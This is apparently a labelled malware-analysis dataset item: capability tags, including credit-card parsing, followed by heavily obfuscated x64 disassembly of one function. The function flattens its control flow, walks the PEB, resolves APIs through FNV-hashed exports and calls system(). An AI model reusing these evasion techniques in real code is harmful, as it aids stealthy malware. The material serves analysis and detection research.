Function at 0x1400bb901
Capabilities:
Access peb ldr_data
Authenticate hmac
Check os version
Encrypt data using chaskey
Encrypt data using speck
Get number of processors
Hash data using fnv
Parse credit card information
Parse pe header
Resolve function by parsing pe exports

Disassembly:
push rax
pushf
mov eax, 0xcf14cf
pushf
not eax
add eax, 0x877f3e1b
xor eax, 0x85cae0fc
rol eax, 0x7b
popf
pushf
not eax
add eax, 0x8cc71fa6
xor eax, 0x9312c019
rol eax, 0xbb
popf
pushf
not eax
add eax, 0xa744fca8
xor eax, 0x9d07305d
rol eax, 0xf4
popf
cmp eax, 0x59
jne 0x1400bb951
popf
pop rax
jmp 0x1400c0124
cmp eax, 0x48
jne 0x1400bb960
popf
pop rax
jmp 0x1400bf356
cmp eax, 0x3f
jne 0x1400bb96f
popf
pop rax
jmp 0x1400beb8b
cmp eax, 1
jne 0x1400bb97e
popf
pop rax
jmp 0x1400bbfa6
cmp eax, 0x4a
jne 0x1400bb98d
popf
pop rax
jmp 0x1400bf560
cmp eax, 0x1a
jne 0x1400bb99c
popf
pop rax
jmp 0x1400bd3a9
cmp eax, 0x5d
jne 0x1400bb9ab
popf
pop rax
jmp 0x1400c0469
cmp eax, 0x58
jne 0x1400bb9ba
popf
pop rax
jmp 0x1400bfe14
cmp eax, 0x40
jne 0x1400bb9c9
popf
pop rax
jmp 0x1400bec17
cmp eax, 8
jne 0x1400bb9d8
popf
pop rax
jmp 0x1400bc6e1
cmp eax, 0x2a
jne 0x1400bb9e7
popf
pop rax
jmp 0x1400bdd45
cmp eax, 0x17
jne 0x1400bb9f6
popf
pop rax
jmp 0x1400bcfbd
cmp eax, 0x1c
jne 0x1400bba05
popf
pop rax
jmp 0x1400bd49f
cmp eax, 0x2e
jne 0x1400bba14
popf
pop rax
jmp 0x1400be1d2
cmp eax, 0x4c
jne 0x1400bba23
popf
pop rax
jmp 0x1400bf68f
cmp eax, 0x2b
jne 0x1400bba32
popf
pop rax
jmp 0x1400bddd0
cmp eax, 0x1b
jne 0x1400bba41
popf
pop rax
jmp 0x1400bd40d
cmp eax, 0x2d
jne 0x1400bba50
popf
pop rax
jmp 0x1400be07d
cmp eax, 0x23
jne 0x1400bba5f
popf
pop rax
jmp 0x1400bd938
cmp eax, 0x5b
jne 0x1400bba6e
popf
pop rax
jmp 0x1400c02cc
cmp eax, 0x43
jne 0x1400bba7d
popf
pop rax
jmp 0x1400bee77
cmp eax, 0x13
jne 0x1400bba8c
popf
pop rax
jmp 0x1400bcd93
cmp eax, 0x33
jne 0x1400bba9b
popf
pop rax
jmp 0x1400be5b5
cmp eax, 0x24
jne 0x1400bbaaa
popf
pop rax
jmp 0x1400bd9e7
cmp eax, 0x1e
jne 0x1400bbab9
popf
pop rax
jmp 0x1400bd776
cmp eax, 0xc
jne 0x1400bbac8
popf
pop rax
jmp 0x1400bc8ec
cmp eax, 0x26
jne 0x1400bbad7
popf
pop rax
jmp 0x1400bdac8
cmp eax, 0x27
jne 0x1400bbae6
popf
pop rax
jmp 0x1400bdb86
cmp eax, 0x30
jne 0x1400bbaf5
popf
pop rax
jmp 0x1400be279
cmp eax, 0x10
jne 0x1400bbb04
popf
pop rax
jmp 0x1400bcc2b
cmp eax, 0x37
jne 0x1400bbb13
popf
pop rax
jmp 0x1400be75c
cmp eax, 9
jne 0x1400bbb22
popf
pop rax
jmp 0x1400bc74a
cmp eax, 0x39
jne 0x1400bbb31
popf
pop rax
jmp 0x1400be839
cmp eax, 0x16
jne 0x1400bbb40
popf
pop rax
jmp 0x1400bcf7e
cmp eax, 0x3b
jne 0x1400bbb4f
popf
pop rax
jmp 0x1400be940
cmp eax, 0x4b
jne 0x1400bbb5e
popf
pop rax
jmp 0x1400bf5c4
cmp eax, 0x36
jne 0x1400bbb6d
popf
pop rax
jmp 0x1400be6f7
cmp eax, 0x14
jne 0x1400bbb7c
popf
pop rax
jmp 0x1400bce4f
cmp eax, 0x46
jne 0x1400bbb8b
popf
pop rax
jmp 0x1400bf096
cmp eax, 0x3d
jne 0x1400bbb9a
popf
pop rax
jmp 0x1400bea75
cmp eax, 2
jne 0x1400bbba9
popf
pop rax
jmp 0x1400bbff3
cmp eax, 0x47
jne 0x1400bbbb8
popf
pop rax
jmp 0x1400bf0ea
cmp eax, 0x51
jne 0x1400bbbc7
popf
pop rax
jmp 0x1400bfabb
cmp eax, 0x11
jne 0x1400bbbd6
popf
pop rax
jmp 0x1400bcc6a
cmp eax, 0x35
jne 0x1400bbbe5
popf
pop rax
jmp 0x1400be6b0
cmp eax, 0x3a
jne 0x1400bbbf4
popf
pop rax
jmp 0x1400be8f5
cmp eax, 0x12
jne 0x1400bbc03
popf
pop rax
jmp 0x1400bcce4
cmp eax, 0x21
jne 0x1400bbc12
popf
pop rax
jmp 0x1400bd892
cmp eax, 0x38
jne 0x1400bbc21
popf
pop rax
jmp 0x1400be7b0
cmp eax, 0xb
jne 0x1400bbc30
popf
pop rax
jmp 0x1400bc840
cmp eax, 0x5c
jne 0x1400bbc3f
popf
pop rax
jmp 0x1400c041e
cmp eax, 0x15
jne 0x1400bbc4e
popf
pop rax
jmp 0x1400bce9a
cmp eax, 5
jne 0x1400bbc5d
popf
pop rax
jmp 0x1400bc1d2
cmp eax, 6
jne 0x1400bbc6c
popf
pop rax
jmp 0x1400bc291
cmp eax, 0x5a
jne 0x1400bbc7b
popf
pop rax
jmp 0x1400c01ca
cmp eax, 0x49
jne 0x1400bbc8a
popf
pop rax
jmp 0x1400bf4f7
cmp eax, 0x1f
jne 0x1400bbc99
popf
pop rax
jmp 0x1400bd7b9
cmp eax, 4
jne 0x1400bbca8
popf
pop rax
jmp 0x1400bc127
cmp eax, 0x2f
jne 0x1400bbcb7
popf
pop rax
jmp 0x1400be215
cmp eax, 0x4d
jne 0x1400bbcc6
popf
pop rax
jmp 0x1400bf728
cmp eax, 0x55
jne 0x1400bbcd5
popf
pop rax
jmp 0x1400bfca6
cmp eax, 0x45
jne 0x1400bbce4
popf
pop rax
jmp 0x1400befff
cmp eax, 0x2c
jne 0x1400bbcf3
popf
pop rax
jmp 0x1400bdf65
cmp eax, 3
jne 0x1400bbd02
popf
pop rax
jmp 0x1400bc0c7
cmp eax, 0x19
jne 0x1400bbd11
popf
pop rax
jmp 0x1400bd366
cmp eax, 0x1d
jne 0x1400bbd20
popf
pop rax
jmp 0x1400bd538
cmp eax, 0x34
jne 0x1400bbd2f
popf
pop rax
jmp 0x1400be61e
cmp eax, 0x53
jne 0x1400bbd3e
popf
pop rax
jmp 0x1400bfb4e
cmp eax, 0x4f
jne 0x1400bbd4d
popf
pop rax
jmp 0x1400bf9bc
cmp eax, 0x42
jne 0x1400bbd5c
popf
pop rax
jmp 0x1400bee3f
cmp eax, 7
jne 0x1400bbd6b
popf
pop rax
jmp 0x1400bc540
cmp eax, 0x20
jne 0x1400bbd7a
popf
pop rax
jmp 0x1400bd838
cmp eax, 0x56
jne 0x1400bbd89
popf
pop rax
jmp 0x1400bfcde
cmp eax, 0x3c
jne 0x1400bbd98
popf
pop rax
jmp 0x1400bea36
cmp eax, 0xd
jne 0x1400bbda7
popf
pop rax
jmp 0x1400bcafc
cmp eax, 0xa
jne 0x1400bbdb6
popf
pop rax
jmp 0x1400bc788
cmp eax, 0x18
jne 0x1400bbdc5
popf
pop rax
jmp 0x1400bd1eb
cmp eax, 0x28
jne 0x1400bbdd4
popf
pop rax
jmp 0x1400bdbd8
cmp eax, 0x22
jne 0x1400bbde3
popf
pop rax
jmp 0x1400bd8d1
cmp eax, 0x50
jne 0x1400bbdf2
popf
pop rax
jmp 0x1400bfa61
cmp eax, 0x52
jne 0x1400bbe01
popf
pop rax
jmp 0x1400bfafa
cmp eax, 0x41
jne 0x1400bbe10
popf
pop rax
jmp 0x1400becc5
cmp eax, 0xe
jne 0x1400bbe1f
popf
pop rax
jmp 0x1400bcb3f
cmp eax, 0x32
jne 0x1400bbe2e
popf
pop rax
jmp 0x1400be3a4
cmp eax, 0x29
jne 0x1400bbe3d
popf
pop rax
jmp 0x1400bdcd6
cmp eax, 0x3e
jne 0x1400bbe4c
popf
pop rax
jmp 0x1400beb2c
cmp eax, 0
jne 0x1400bbe5b
popf
pop rax
jmp 0x1400bbec4
cmp eax, 0x4e
jne 0x1400bbe6a
popf
pop rax
jmp 0x1400bf953
cmp eax, 0x31
jne 0x1400bbe79
popf
pop rax
jmp 0x1400be30b
cmp eax, 0x54
jne 0x1400bbe88
popf
pop rax
jmp 0x1400bfbd7
cmp eax, 0x57
jne 0x1400bbe97
popf
pop rax
jmp 0x1400bfdaf
cmp eax, 0x25
jne 0x1400bbea6
popf
pop rax
jmp 0x1400bda90
cmp eax, 0xf
jne 0x1400bbeb5
popf
pop rax
jmp 0x1400bcbd1
cmp eax, 0x44
jne 0x1400bbec4
popf
pop rax
jmp 0x1400beff0
mov byte [rsp + 0x20], r9b
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rsi
push rdi
sub rsp, 0x478
call fcn.1400af5c3
mov rcx, qword [rsp + 0x4a0]
call fcn.14012ae68
mov dword [rsp + 0x70], eax
mov ecx, dword [rsp + 0x70]
call fcn.14012a9d9
cmp dword [rsp + 0x70], 0
jne 0x1400bbf4d
push rax
pushf
mov eax, 0x442401e2
pushf
not eax
add eax, 0xd3ec09dc
xor eax, 0xc05baa58
rol eax, 0xe0
popf
pushf
not eax
add eax, 0xe8e65029
xor eax, 0x993cb34f
rol eax, 0x65
popf
pushf
not eax
add eax, 0xee9f5cb8
xor eax, 0xe0dd2397
rol eax, 0x3b
popf
jmp 0x1400bb942
push rax
pushf
mov eax, 0xc443ce4
pushf
not eax
add eax, 0xdd01507d
xor eax, 0x8f0a2add
rol eax, 0x62
popf
pushf
not eax
add eax, 0x9ee5e6c7
xor eax, 0xb844898a
rol eax, 0x59
popf
pushf
not eax
add eax, 0xb1234fce
xor eax, 0xda72a8b7
rol eax, 0xa3
popf
pushf
not eax
add eax, 0xc1e4f45d
xor eax, 0xa5e40405
rol eax, 0xd5
popf
jmp 0x1400bb942
xor al, al
jmp 0x1400c049f
mov ecx, dword [rsp + 0x70]
call fcn.14012711d
mov qword [rsp + 0x278], rax
lea rcx, [0x1a84cb049]
pushf
sub rcx, 0x684993b9
popf
call fcn.1400c7c37
mov qword [rsp + 0x78], rax
cmp qword [rsp + 0x78], 0
jne 0x1400bc081
push rax
pushf
mov eax, 0x750bfa68
pushf
not eax
add eax, 0xeef784a4
xor eax, 0xdb177de1
rol eax, 5
popf
pushf
not eax
add eax, 0xa652da0e
xor eax, 0xa5ff2a95
rol eax, 0x7d
popf
pushf
not eax
add eax, 0x9e33141c
xor eax, 0x9ef488ed
rol eax, 0xa5
popf
pushf
not eax
add eax, 0xc86192bf
xor eax, 0xd0a1e34b
rol eax, 0x64
popf
jmp 0x1400bb942
push rax
pushf
mov eax, 0xf10dae7c
pushf
not eax
add eax, 0xd259122d
xor eax, 0xc9051fcd
rol eax, 0x8b
popf
pushf
not eax
add eax, 0xda328f16
xor eax, 0xcbb099f1
rol eax, 0xf2
popf
pushf
not eax
add eax, 0xb87ed221
xor eax, 0xc7f49a28
rol eax, 0x73
popf
jmp 0x1400bb942
xor al, al
jmp 0x1400c049f
movzx eax, byte [rsp + 0x4a8]
test eax, eax
je 0x1400bc18c
push rax
pushf
mov eax, 0xe74c1870
pushf
not eax
add eax, 0xaf55a302
xor eax, 0xdfc37c29
rol eax, 0xc8
popf
pushf
not eax
add eax, 0xd3810825
xor eax, 0xbecac6d4
rol eax, 0x84
popf
pushf
not eax
add eax, 0xcf595488
xor eax, 0xb7ac83dc
rol eax, 0x14
popf
pushf
not eax
add eax, 0xfe62aafc
xor eax, 0xab40dcc5
rol eax, 0xce
popf
jmp 0x1400bb942
push rax
pushf
mov eax, 0x9abd625f
pushf
not eax
add eax, 0x99c284c1
xor eax, 0xeeedda19
rol eax, 0x67
popf
pushf
not eax
add eax, 0xf2b3df1a
xor eax, 0xb6b29cfc
rol eax, 0xd5
popf
pushf
not eax
add eax, 0xa0b403f0
xor eax, 0xa30af378
rol eax, 0xfd
popf
jmp 0x1400bb942
mov edx, 0xd1f0f004
pushf
not edx
add edx, 0xf29ab7ac
xor edx, 0x9f457d5e
rol edx, 0xb9
popf
pushf
not edx
add edx, 0xaaeb830b
xor edx, 0xcd964e1c
rol edx, 0x17
popf
pushf
not edx
add edx, 0xcf6bb2a7
xor edx, 0x8665580c
rol edx, 0xa
popf
pushf
not edx
add edx, 0xf2b892f6
xor edx, 0xc51894c2
rol edx, 0x70
popf
mov rcx, qword [rsp + 0x278]
call fcn.140101258
push rax
pushf
mov eax, 0xc51e0341
pushf
not eax
add eax, 0x980337b9
xor eax, 0x96e24a6e
rol eax, 0x86
popf
pushf
not eax
add eax, 0xfedea2df
xor eax, 0xc9eba7aa
rol eax, 0x2d
popf
pushf
not eax
add eax, 0xa5b6de57
xor eax, 0xcab049ac
rol eax, 0xae
popf
pushf
not eax
add eax, 0xd52b9ce1
xor eax, 0xe5a56ba9
rol eax, 0x62
popf
jmp 0x1400bb942
mov rcx, qword [rsp + 0x78]
call fcn.1400cec8a
mov qword [rsp + 0x50], rax
call fcn.14012d441
mov eax, dword [0x140040214]
mov dword [rsp + 0x178], eax
lea rax, [rsp + 0x6c]
mov rdi, rax
xor eax, eax
mov ecx, 0x792831b4
pushf
not ecx
add ecx, 0xa71b5e26
xor ecx, 0xce75dfd8
rol ecx, 0xd8
popf
pushf
not ecx
add ecx, 0xa87727a7
xor ecx, 0xfe93a093
rol ecx, 0xfb
popf
rep stosb byte [rdi], al
lea rax, [rsp + 0x444]
lea rcx, [0x1aaba1178]
pushf
sub rcx, 0x6ab6f438
popf
mov rdi, rax
mov rsi, rcx
mov ecx, 0x3434a2a2
pushf
not ecx
add ecx, 0xd0803f3e
xor ecx, 0xb3fdfe21
rol ecx, 0x4a
popf
pushf
not ecx
add ecx, 0x9537b113
xor ecx, 0x93acc854
rol ecx, 0x48
popf
rep movsb byte [rdi], byte [rsi]
lea rcx, [rsp + 0x444]
call fcn.1400ac624
mov qword [rsp + 0x280], rax
mov edx, dword [rsp + 0x178]
mov rcx, qword [rsp + 0x280]
call fcn.1400fd00d
mov qword [rsp + 0x1b8], rax
mov eax, dword [0x140040214]
mov dword [rsp + 0x174], eax
lea rax, [rsp + 0x6d]
mov rdi, rax
xor eax, eax
mov ecx, 0xe1b0bd81
pushf
not ecx
add ecx, 0xeb441db3
xor ecx, 0xc3c54db2
rol ecx, 0xea
popf
pushf
not ecx
add ecx, 0xb36c207f
xor ecx, 0x816489ad
rol ecx, 0x73
popf
pushf
not ecx
add ecx, 0xf061568e
xor ecx, 0xdb24e2d5
rol ecx, 0x22
popf
pushf
not ecx
add ecx, 0xc7552b2b
xor ecx, 0xf85a5677
rol ecx, 0x91
popf
rep stosb byte [rdi], al
lea rax, [rsp + 0x420]
lea rcx, [0x1bb1d57ad]
pushf
sub rcx, 0x7b1a39bd
popf
mov rdi, rax
mov rsi, rcx
mov ecx, 0x1dc85d18
pushf
not ecx
add ecx, 0x98d11c9c
xor ecx, 0xdef23672
rol ecx, 0x8a
popf
pushf
not ecx
add ecx, 0xc3b8bacb
xor ecx, 0xe4d66837
rol ecx, 8
popf
pushf
not ecx
add ecx, 0xabf30334
xor ecx, 0xf556fef6
rol ecx, 0x46
popf
rep movsb byte [rdi], byte [rsi]
lea rcx, [rsp + 0x420]
call fcn.1400c69ce
mov qword [rsp + 0x288], rax
mov edx, dword [rsp + 0x174]
mov rcx, qword [rsp + 0x288]
call fcn.1400fd00d
mov qword [rsp + 0x290], rax
mov rax, qword [rsp + 0x290]
add rax, 0x386008
mov qword [rsp + 0xb8], rax
mov rax, qword [rsp + 0x400]
mov qword [rsp + 0x1b0], rax
mov rax, qword gs:[0x60]
mov qword [rsp + 0x298], rax
mov rax, qword [rsp + 0x298]
mov rax, qword [rax + 0x18]
mov qword [rsp + 0x2a0], rax
mov rax, qword [rsp + 0x2a0]
mov rax, qword [rax + 0x10]
mov qword [rsp + 0x2a8], rax
mov rax, qword [rsp + 0x2a8]
mov qword [rsp + 0x1a8], rax
push rax
pushf
mov eax, 0x468763ea
pushf
not eax
add eax, 0x85b196fb
xor eax, 0x956df21a
rol eax, 0x8e
popf
pushf
not eax
add eax, 0xca0f4dbb
xor eax, 0xf292f2f3
rol eax, 0xb8
popf
pushf
not eax
add eax, 0x9c748767
xor eax, 0xf8d7b7d4
rol eax, 0xa3
popf
pushf
not eax
add eax, 0x8780215f
xor eax, 0xb2fb2b55
rol eax, 0x6c
popf
jmp 0x1400bb942
mov rax, qword [rsp + 0x1a8]
mov rax, qword [rax + 0x30]
mov qword [rsp + 0xc0], rax
mov rax, qword [rsp + 0xc0]
mov qword [rsp + 0x100], rax
mov rax, qword [rsp + 0xc0]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0xc0]
push rax
not rax
sub rcx, rax
pop rax
sub rcx, 1
mov rax, rcx
mov qword [rsp + 0x2b0], rax
mov eax, 0x6d124c28
pushf
not eax
add eax, 0x9098a7cf
xor eax, 0xbd914567
rol eax, 0xa
popf
pushf
not eax
add eax, 0x82704636
xor eax, 0xcbef93ee
rol eax, 0x76
popf
pushf
not eax
add eax, 0xd57e7ef1
xor eax, 0xc092f845
rol eax, 0xaf
popf
imul rax, rax, 0
mov rcx, qword [rsp + 0x2b0]
mov rax, qword [rcx + rax + 0x88]
mov qword [rsp + 0x260], rax
mov eax, dword [rsp + 0x260]
mov rcx, qword [rsp + 0xc0]
push rax
not rax
sub rcx, rax
pop rax
sub rcx, 1
mov rax, rcx
mov qword [rsp + 0x108], rax
mov eax, dword [rsp + 0x264]
mov dword [rsp + 0x110], eax
mov rax, qword [rsp + 0x100]
cmp qword [rsp + 0x108], rax
je 0x1400bc688
push rax
pushf
mov eax, 0x6e9611f4
pushf
not eax
add eax, 0xa915fafe
xor eax, 0x85700a72
rol eax, 0x1f
popf
pushf
not eax
add eax, 0xe6f8d562
xor eax, 0x8cf80c43
rol eax, 0xa8
popf
pushf
not eax
add eax, 0xa51d1245
xor eax, 0x8c9a8e39
rol eax, 0xa6
popf
pushf
not eax
add eax, 0xb27e6d42
xor eax, 0x84954d5d
rol eax, 0xdd
popf
jmp 0x1400bb942
push rax
pushf
mov eax, 0xd8fa945c
pushf
not eax
add eax, 0xf90fccbe
xor eax, 0xcc8ca04d
rol eax, 0xc5
popf
pushf
not eax
add eax, 0x90a695d3
xor eax, 0xb9c7d851
rol eax, 0xfd
popf
pushf
not eax
add eax, 0xdbd49949
xor eax, 0xd1d88801
rol eax, 0xa8
popf
pushf
not eax
add eax, 0xcfdb18b7
xor eax, 0xe9465b34
rol eax, 0x11
popf
jmp 0x1400bb942
mov dword [rsp + 0xa4], 1
jmp 0x1400bc788
mov dword [rsp + 0xa4], 0
push rax
pushf
mov eax, 0xfb546a1c
pushf
not eax
add eax, 0xf726df52
xor eax, 0x87af4913
rol eax, 0x3d
popf
pushf
not eax
add eax, 0x9822806e
xor eax, 0x9892d8e9
rol eax, 0x45
popf
jmp 0x1400bb942
movzx eax, byte [rsp + 0xa4]
mov byte [rsp + 0x24], al
movzx eax, byte [rsp + 0x24]
test eax, eax
je 0x1400bc7e7
push rax
pushf
mov eax, 0xc828c29e
pushf
not eax
add eax, 0x88b70875
xor eax, 0xcddbf9b8
rol eax, 0x3d
popf
pushf
not eax
add eax, 0xee6f1517
xor eax, 0x82441aef
rol eax, 0xe
popf
pushf
not eax
add eax, 0xd8eeeb5e
xor eax, 0xc71567bd
rol eax, 0x35
popf
jmp 0x1400bb942
push rax
pushf
mov eax, 0x28977cd
pushf
not eax
add eax, 0xaf3c277b
xor eax, 0xa851c70d
rol eax, 0x53
popf
pushf
not eax
add eax, 0xb7677e4a
xor eax, 0xfb1d8139
rol eax, 0xee
popf
pushf
not eax
add eax, 0xcc10ee93
xor eax, 0xa678e5dc
rol eax, 0x3e
popf
pushf
not eax
add eax, 0xe067247f
xor eax, 0xb42b7a04
rol eax, 0x94
popf
jmp 0x1400bb942
mov rax, qword [rsp + 0x108]
mov eax, dword [rax + 0x18]
mov dword [rsp + 0x38], eax
mov eax, dword [rsp + 0x38]
mov dword [rsp + 0x170], eax
mov eax, dword [rsp + 0x38]
jmp 0x1400bc85f
dec eax
mov dword [rsp + 0x38], eax
cmp dword [rsp + 0x170], 0
je 0x1400bc8b9
push rax
pushf
mov eax, 0xb643b4c4
pushf
not eax
add eax, 0xfbc7da7a
xor eax, 0x8dc841f3
rol eax, 0xae
popf
pushf
not eax
add eax, 0x991dcbf6
xor eax, 0x9219158e
rol eax, 0x77
popf
pushf
not eax
add eax, 0xe05cfa45
xor eax, 0xca53efbe
rol eax, 0x65
popf
jmp 0x1400bb942
push rax
pushf
mov eax, 0xa89540ed
pushf
not eax
add eax, 0xe2e31cb3
xor eax, 0x8a18c0c9
rol eax, 0x39
popf
pushf
not eax
add eax, 0xcb1259b9
xor eax, 0xb1b1afa8
rol eax, 0x3f
popf
jmp 0x1400bb942
mov eax, dword [rsp + 0x3d0]
mov dword [rsp + 0xa8], eax
movabs rax, 0x3ce843cdd9edc756
pushf
not rax
add rax, 0x63cd6c8c
xor rax, 0x4144580d
rol rax, 0xac
popf
pushf
not rax
add rax, 0x525a7fdf
xor rax, 0x7e2c5d4b
rol rax, 0xa3
popf
shr rax, 0x20
mov dword [rsp + 0xa8], eax
mov rax, qword [rsp + 0x408]
mov qword [rsp + 0x268], rax
mov rax, qword [rsp + 0x108]
mov eax, dword [rax + 0x20]
mov rcx, qword [rsp + 0x100]
push rax
not rax
sub rcx, rax
pop rax
sub rcx, 1
mov rax, rcx
mov ecx, dword [rsp + 0x38]
mov eax, dword [rax + rcx*4]
add rax, qword [rsp + 0x100]
mov qword [rsp + 0x268], rax
movabs rax, 0x539d5176e60e81eb
pushf
not rax
add rax, 0x6bcafc5f
xor rax, 0x6198d06d
rol rax, 0x47
popf
pushf
not rax
add rax, 0x73617bab
xor rax, 0x7f4c4027
rol rax, 0x8b
popf
mov ecx, 0x86b46b7
pushf
not ecx
add ecx, 0xfc83ad71
xor ecx, 0xba2f8a28
rol ecx, 0x74
popf
pushf
not ecx
add ecx, 0xee4e2a17
xor ecx, 0xb4da8ae1
rol ecx, 0xa3
popf
pushf
not ecx
add ecx, 0xdd9f3b7d
xor ecx, 0xea6ff370
rol ecx, 0xd5
popf
pushf
not ecx
add ecx, 0xf8d145b7
xor ecx, 0x9f43582d
rol ecx, 0x78
popf
and rax, rcx
mov dword [rsp + 0x1c0], eax
mov rax, qword [rsp + 0x268]
mov qword [rsp + 0x1a0], rax
mov eax, dword [rsp + 0xa8]
mov dword [rsp + 0x58], eax
mov rax, qword [rsp + 0x1a0]
movzx eax, byte [rax]
mov byte [rsp + 0x25], al
mov rax, qword [rsp + 0x1a0]
inc rax
mov qword [rsp + 0x1a0], rax
movzx eax, byte [rsp + 0x25]
mov byte [rsp + 0x20], al
movsx eax, byte [rsp + 0x20]
test eax, eax
jne 0x1400bcaa3
push rax
pushf
mov eax, 0x11a0d124
pushf
not eax
add eax, 0xb71d56b6
xor eax, 0xc618597f
rol eax, 0xa7
popf
pushf
not eax
add eax, 0x9d9d55b0
xor eax, 0xeb2ede4a
rol eax, 0x3e
popf
jmp 0x1400bb942
push rax
pushf
mov eax, 0x62d9600d
pushf
not eax
add eax, 0x9e657ca0
xor eax, 0xbc5dad66
rol eax, 0xc5
popf
pushf
not eax
add eax, 0xb7b3fccf
xor eax, 0xd7827ba4
rol eax, 8
popf
pushf
not eax
add eax, 0xe3dddff9
xor eax, 0xc9648300
rol eax, 0xb
popf
pushf
not eax
add eax, 0xae8ea690
xor eax, 0xc85a3538
rol eax, 0x7f
popf
jmp 0x1400bb942
mov eax, dword [rsp + 0x58]
mov dword [rsp + 0x17c], eax
jmp 0x1400bcce4
xor eax, eax
test eax, eax
je 0x1400bcb78
push rax
pushf
mov eax, 0xac59ba15
pushf
not eax
add eax, 0xd6bdef6c
xor eax, 0xa91add9e
rol eax, 0x15
popf
pushf
not eax
add eax, 0xbda2b8da
xor eax, 0xa4ea48fc
rol eax, 0x4d
popf
jmp 0x1400bb942
push rax
pushf
mov eax, 0x53c724a8
pushf
not eax
add eax, 0xa253b26c
xor eax, 0xd9b5a1de
rol eax, 0xd9
popf
pushf
not eax
add eax, 0x8f3c73d8
xor eax, 0x97f9559a
rol eax, 0x8e
popf
pushf
not eax
add eax, 0xae058f3b
xor eax, 0xedbf31b4
rol eax, 0x80
popf
pushf
not eax
add eax, 0xe0b9a47e
xor eax, 0xab4674fc
rol eax, 0xe1
popf
jmp 0x1400bb942
movsx eax, byte [rsp + 0x20]
or eax, 0x20
mov dword [rsp + 0xac], eax
jmp 0x1400bcc6a
movsx eax, byte [rsp + 0x20]
mov dword [rsp + 0xac], eax
push rax
pushf
mov eax, 0xab72001d
pushf
not eax
add eax, 0xf7d69b49
xor eax, 0x84ed6775
rol eax, 0x93
popf
pushf
not eax
add eax, 0x92e9a2ee
xor eax, 0xaff37c9e
rol eax, 0x17
popf
jmp 0x1400bb942
mov eax, dword [rsp + 0xac]
mov ecx, dword [rsp + 0x58]
xor ecx, eax
mov eax, ecx
mov eax, eax
imul rax, rax, 0x1000193
mov dword [rsp + 0x58], eax
jmp 0x1400bca3c
mov eax, dword [rsp + 0x1c0]
cmp dword [rsp + 0x17c], eax
jne 0x1400bcd3a
push rax
pushf
mov eax, 0x86bca53b
pushf
not eax
add eax, 0x9d4355f3
xor eax, 0xa6c4cdbe
rol eax, 0x55
popf
pushf
not eax
add eax, 0x96ba8c11
xor eax, 0xb0ccbb8f
rol eax, 0xae
popf
pushf
not eax
add eax, 0xbbf05416
xor eax, 0xa91cc2c3
rol eax, 0x4a
popf
jmp 0x1400bb942
push rax
pushf
mov eax, 0xaa215f1a
pushf
not eax
add eax, 0x9ca3d334
xor eax, 0xa05b2f92
rol eax, 0xc3
popf
pushf
not eax
add eax, 0xcf3865ef
xor eax, 0x99351cb0
rol eax, 0x7f
popf
pushf
not eax
add eax, 0x94ca0628
xor eax, 0xb5cfc15c
rol eax, 0xc1
popf
pushf
not eax
add eax, 0xa0d54e47
xor eax, 0x953058b3
rol eax, 0xa7
popf
jmp 0x1400bb942
mov rax, qword [rsp + 0x108]
mov eax, dword [rax + 0x1c]
add rax, qword [rsp + 0x100]
mov qword [rsp + 0x2c0], rax
mov rax, qword [rsp + 0x108]
mov eax, dword [rax + 0x24]
add rax, qword [rsp + 0x100]
mov qword [rsp + 0x2b8], rax
mov eax, dword [rsp + 0x38]
mov rcx, qword [rsp + 0x2b8]
movzx eax, word [rcx + rax*2]
mov rcx, qword [rsp + 0x2c0]
mov eax, dword [rcx + rax*4]
add rax, qword [rsp + 0x100]
mov qword [rsp + 0x2c8], rax
mov rax, qword [rsp + 0x2c8]
mov qword [rsp + 0x1b0], rax
jmp 0x1400bcfbd
jmp 0x1400bc84f
mov rax, qword [rsp + 0x1a8]
mov qword [rsp + 0x2d0], rax
mov rax, qword [rsp + 0x2d0]
mov rax, qword [rax]
mov qword [rsp + 0x2d8], rax
mov rax, qword [rsp + 0x2d8]
mov qword [rsp + 0x1a8], rax
mov byte [rsp + 0x26], 1
movzx eax, byte [rsp + 0x26]
test eax, eax
jne 0x1400bcf25
push rax
pushf
mov eax, 0x65e345a1
pushf
not eax
add eax, 0x9a93b6c7
xor eax, 0xe384cbdd
rol eax, 0xb7
popf
pushf
not eax
add eax, 0xa9602647
xor eax, 0xe1850da1
rol eax, 0x35
popf
pushf
not eax
add eax, 0x97ecc4d2
xor eax, 0xcec516a1
rol eax, 0xb0
popf
jmp 0x1400bb942
push rax
pushf
mov eax, 0xdfa0b7ca
pushf
not eax
add eax, 0x9a3a53c8
xor eax, 0xd5326bb5
rol eax, 0xea
popf
pushf
not eax
add eax, 0xc32e3a8c
xor eax, 0xde0e490b
rol eax, 0x8e
popf
pushf
not eax
add eax, 0xa3a95142
xor eax, 0x83ef95b1
rol eax, 0xbe
popf
pushf
not eax
add eax, 0xe244ed8f
xor eax, 0xcf0ef778
rol eax, 0xf6
popf
jmp 0x1400bb942
mov qword [rsp + 0x1b0], 0
push rax
pushf
mov eax, 0x6f95ea2b
pushf
not eax
add eax, 0xfb749a23
xor eax, 0x8b58a371
rol eax, 0xe0
popf
pushf
not eax
add eax, 0xd888758c
xor eax, 0xd8008905
rol eax, 0x13
popf
jmp 0x1400bb942
mov ecx, 0x556c5eb3
pushf
not ecx
add ecx, 0xac171767
xor ecx, 0xe724f8dd
rol ecx, 0x10
popf
pushf
not ecx
add ecx, 0x87935c87
xor ecx, 0xbca3ca62
rol ecx, 0x5e
popf
pushf
not ecx
add ecx, 0xff6766aa
xor ecx, 0x811516d9
rol ecx, 0x2f
popf
pushf
not ecx
add ecx, 0x93f34a68
xor ecx, 0xc7c5e9a1
rol ecx, 0xe3
popf
jmp 0x1400bd017
call qword [rsp + 0x1b0]
mov rax, qword [rsp + 0x1b8]
add rax, 0x1000
mov qword [rsp + 0x1d0], rax
mov rax, qword [rsp + 0x1b8]
add rax, 0x2000
mov qword [rsp + 0x1f0], rax
mov rax, qword [rsp + 0x1b8]
add rax, 0x3000
mov qword [rsp + 0x48], rax
mov r8, qword [rsp + 0x50]
mov rdx, qword [rsp + 0x78]
mov rcx, qword [rsp + 0x48]
call fcn.1400fbabc
movzx eax, al
mov rdx, qword [rsp + 0x50]
mov rcx, qword [rsp + 0x78]
call fcn.1400a54ff
movzx eax, al
lea rcx, [0x18d272e4e]
pushf
sub rcx, 0x4d24114a
popf
jmp 0x1400bd099
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
